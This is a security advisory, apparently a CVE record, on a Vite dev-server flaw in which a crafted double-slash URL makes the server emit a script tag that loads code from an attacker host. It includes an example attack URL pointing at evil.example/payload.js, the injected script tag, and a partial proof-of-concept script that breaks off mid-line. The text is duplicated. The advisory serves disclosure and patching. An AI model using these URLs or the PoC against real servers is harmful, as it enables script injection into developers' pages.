CVE-2026-112945

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

• the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
• the transformed HTML contains an inline module script
• from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const…

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

• the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
• the transformed HTML contains an inline module script
• from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const…